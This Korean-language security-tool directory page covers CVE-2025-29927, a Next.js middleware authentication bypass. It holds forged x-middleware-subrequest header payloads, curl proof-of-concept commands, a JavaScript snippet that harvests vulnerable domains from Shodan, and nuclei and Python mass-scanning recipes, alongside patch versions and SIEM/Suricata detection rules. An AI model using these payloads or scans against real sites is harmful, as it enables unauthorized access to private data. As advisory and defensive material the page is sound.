Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/sdrtba/cve-2025-29927
Authentication & AuthorizationVulnerability AnalysisIDS/IPS EvasionWeb Application ExploitationPenetration TestingLearning & Education
GitHubsdrtba/cve-2025-29927

CVE-2025-29927

CVE-2025-29927에 대한 개념 증명 및 대량 스캔 도구 키트로, 위조된 x-middleware-subrequest 헤더를 통한 Next.js 미들웨어 인증 우회입니다. nuclei 템플릿과 Python 스캐너를 포함합니다.

저장소 보기
311개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-29927 — Next.js (미들웨어 인증 우회)

요약: Next.js 미들웨어에서 x-middleware-subrequest 헤더 변조를 통해 인증 검사를 우회할 수 있는 취약점.


목차

  • CVE-2025-29927 — Next.js (미들웨어 인증 우회)
    • 목차
    • 취약한 호스트 수집
    • 추가 정보
    • 간략 설명
    • 취약점 세부사항
    • CWE Weakness Enumeration
    • 영향 및 추가 위험
    • 영향받는 버전
    • CVSS 및 메트릭
    • PoC — 로컬 안전 재현
    • nuclei, Python 대량 점검
      • Nuclei
      • Python 스캐너 (아키텍처)
    • Mitigation / Remediation
    • Detection / SIEM / IDS 규칙
    • 탐지 및 대량 점검 (Scanning & Detection)
    • 리소스 및 링크

취약한 호스트 수집

shodan에서 필터 http.headers:"x-middleware-rewrite"로 검색하여 1000개 도메인 목록을 가져왔습니다.

var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();

var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();


추가 정보

  1. 맥락과 배경 초기 Next.js 미들웨어는 애플리케이션 자체에 내부 (sub-)요청을 보낼 수 있었습니다. 재귀를 방지하기 위해 프레임워크는 내부 마커인 HTTP 헤더를 도입하여 "이 요청은 이미 처리됨"을 표시했습니다. 이러한 접근 방식은 실용적이었고 미들웨어 파이프라인 내에서 무한 루프를 피할 수 있었습니다.

  2. 미들웨어 진화 및 페이로드 Next.js 12.2 이전에는 미들웨어가 pages/ 내에 _middleware로 위치하며 중첩될 수 있었습니다(pages/_middleware, pages/dashboard/_middleware 등). 페이로드는 특정 경로를 지정할 수 있었습니다(x-middleware-subrequest: pages/dashboard/_middleware). 12.2부터 미들웨어는 middleware.js/ts로 명명되고 pages/ 밖에 위치하게 되었습니다. 이 경우 간단한 페이로드 x-middleware-subrequest: middleware (또는 src/를 사용할 경우 src/middleware)가 종종 작동했습니다. 최신 버전(≥ 13.2.0)에서는 MAX_RECURSION_DEPTH를 포함한 추가 검사가 도입되었으며, 일부 우회에서는 middleware:middleware:...와 같은 반복 값을 사용하여 중첩 체인을 모방했습니다. 실제로: 페이로드의 정확한 형식은 Next.js 버전과 프로젝트 구조에 따라 다릅니다.

  3. 수정 이력 및 x-middleware-subrequest-id 문제 초기 빠른 패치는 내부 식별자 x-middleware-subrequest-id를 도입하여 런타임에 생성 및 검증함으로써 유효한 내부 하위 요청과 위조를 구별하려고 했습니다. 그러나 구현 결과 이 내부 ID가 외부로 유출될 수 있는 부작용이 발생했습니다(outgoing fetch/요청에 포함됨). 이는 새로운 위험을 만들었습니다. 또한 여러 CDN/PoP 및 혼합 런타임(Edge vs Node) 환경에서 ID 서명/동기화가 불안정한 것으로 나타났습니다. 결국 x-middleware-subrequest-id 코드는 제거/재작업되었습니다. 최종 해결책은 Next.js 패치와 플랫폼 수준의 완화 조치(ingress/edge에서 들어오는 내부 헤더 필터링)의 조합입니다.


간략 설명

  • CVE: CVE-2025-29927
  • 제품: Next.js (Vercel)
  • 요약: 인증을 구현하는 미들웨어가 내부 플래그 x-middleware-subrequest를 부적절하게 신뢰합니다. 외부 클라이언트가 이 헤더를 설정하여 액세스 검사를 우회할 수 있습니다.
  • NVD 발표일: 2025년 3월 21일
  • CNA: GitHub, Inc.

취약점 세부사항

  • 설명: Next.js 미들웨어가 액세스 결정 시 내부 표시인 x-middleware-subrequest에 의존하는 오류입니다. 이 필드는 원래 프레임워크 내부 작업용으로 설계되었지만, 외부 요청이 이 헤더를 설정하여 인증을 우회할 수 있습니다.
  • 취약점 원인: 부적절/안전하지 않은 인증 로직 — 들어오는 헤더에 대한 신뢰.
  • 악용 조건: 웹 애플리케이션이 인증을 위해 미들웨어만 사용하는 경우; 애플리케이션이 취약한 Next.js 버전을 사용하는 경우.

CWE Weakness Enumeration

  • CWE-863: Incorrect Authorization — primary
    • 근거: 미들웨어가 'x-middleware-subrequest' 헤더를 신뢰하고 추가 검증 없이 요청을 허용했습니다.
  • CWE-285: Improper Authorization — secondary
    • 근거: 내부 전용 흐름에 대한 안정적인 인증/권한 부여 부재.

영향 및 추가 위험

  • 영향: 인증 우회로 비공개 페이지/데이터에 접근, 애플리케이션에 따른 권한 상승 가능성, 사용자 데이터 손상.
  • 추가 위험: CPDoS(Cache-Poisoned DoS): 취약점으로 인해 CDN/edge 캐시를 조작할 수 있습니다(예: 내부 하위 요청이 리소스를 비공개/공개로 표시하는 경우). 이는 캐시 중독으로 이어져 잠재적 서비스 거부 또는 데이터 유출로 이어질 수 있습니다.
  • 결과 예시: PII 유출, 비즈니스 로직 우회, 세션 손상, 애플리케이션 라우팅 간섭.

영향받는 버전

다음 버전 범위가 영향을 받습니다:

  • >= 11.1.4 및 < 12.3.5
  • >= 13.0.0 및 < 13.5.9
  • >= 14.0.0 및 < 14.2.25
  • >= 15.0.0 및 < 15.2.3

CVSS 및 메트릭

  • Base Score: 9.1 (CRITICAL)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • Temporal: E:P (PoC) * RL:O (official fix) * RC:C (confirmed) = 8.2 (대략적인 Temporal Score).

PoC — 로컬 안전 재현

  1. 취약한 데모 실행:
root@kitploit:~
git clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
  1. 간단한 read-only PoC (curl):
root@kitploit:~
# 헤더 없음 — 거부 예상 (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20

# 위조 헤더 — 취약할 경우 200 + 본문 반환
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20

nuclei, Python 대량 점검

Nuclei

  • Passive template: 지문 확인 (/_next/static/, package.json, headers, favicon hash) — 안전 모드.
  • Active template: x-middleware-subrequest와 함께 GET을 보내고 응답을 비교합니다. 반드시 rate-limit 및 throttle 사용.

실행 명령 (예시):

root@kitploit:~
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt

# active (통제된 방식)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20

Python 스캐너 (아키텍처)

  • 알고리즘: 각 호스트에 대해 기본 응답 가져오기 (헤더 없음) → x-middleware-subrequest 헤더로 반복 → 상태 및 본문 비교.
  • 필수 옵션: --concurrency, --delay, --dry-run, --respect-robots.
  • 고성능을 위해 aiohttp / asyncio 사용.

짧은 의사 코드:

root@kitploit:~
async def probe(url):
    r1 = await session.get(url)
    r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
    if significant_difference(r1, r2):
        report_vulnerable(url)

Mitigation / Remediation

  1. 기본: Next.js를 수정된 버전으로 업데이트:
    • >= 12.3.5, >= 13.5.9, >= 14.2.25, >= 15.2.3.
  2. Quick-fix (edge/proxy): 경계에서 x-middleware-subrequest 헤더 제거/정리:
  3. 앱 변경: 인증이 들어오는 헤더에 의존하지 않도록 함; JWT/세션 토큰/서버 측 검증에 의존.
  4. 탐지: SIEM/IDS에 로깅 및 규칙 추가: 외부 요청에 x-middleware-subrequest가 있으면 알리고 출처 확인.

Detection / SIEM / IDS 규칙

규칙/알림 예시:

  • SIEM: source.ip가 trusted_proxies가 아닌 경우 들어오는 요청에 x-middleware-subrequest가 있으면 알림.

  • Suricata (의사):

root@kitploit:~
alert http any any -> any any (msg:"External request with X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)

탐지 및 대량 점검 (Scanning & Detection)

  • Passive (nuclei / fingerprint): projectdiscovery/nuclei-templates에서 CVE-2025-29927용 nuclei 템플릿 사용 (지문 확인: /_next/static/, package.json, headers, favicon hash). 악용 없음 — 안전.
  • Active (nuclei): x-middleware-subrequest 헤더로 GET을 수행하고 응답 차이(body/status)를 확인하는 신중한 템플릿. Throttle 및 rate-limit 필수.
  • Python/Go 스크립트 (멀티스레드):
    • 전략: 각 호스트에 대해 헤더 없는 기준선 획득 → 헤더와 함께 반복 → 비교.
    • 안전: delay, per-host cooldown, --dry-run 및 --respect-robots 옵션.
  • SIEM/IDS 규칙 (예시):
root@kitploit:~
alert if request.headers contains "x-middleware-subrequest" AND source.ip not in trusted_proxies

리소스 및 링크

  • NVD / CVE-2025-29927 (NVD entry) — 버전 및 CVSS용;
  • GitHub Advisory / Vercel advisory — 패치용;
  • PoC 저장소 (실제 URL로 교체):
    • https://github.com/<author>/CVE-2025-29927-POC
    • https://github.com/<author>/vulnerable-nextjs-demo
  • ProjectDiscovery / nuclei-templates — CVE-2025-29927 템플릿.
도구 다운로드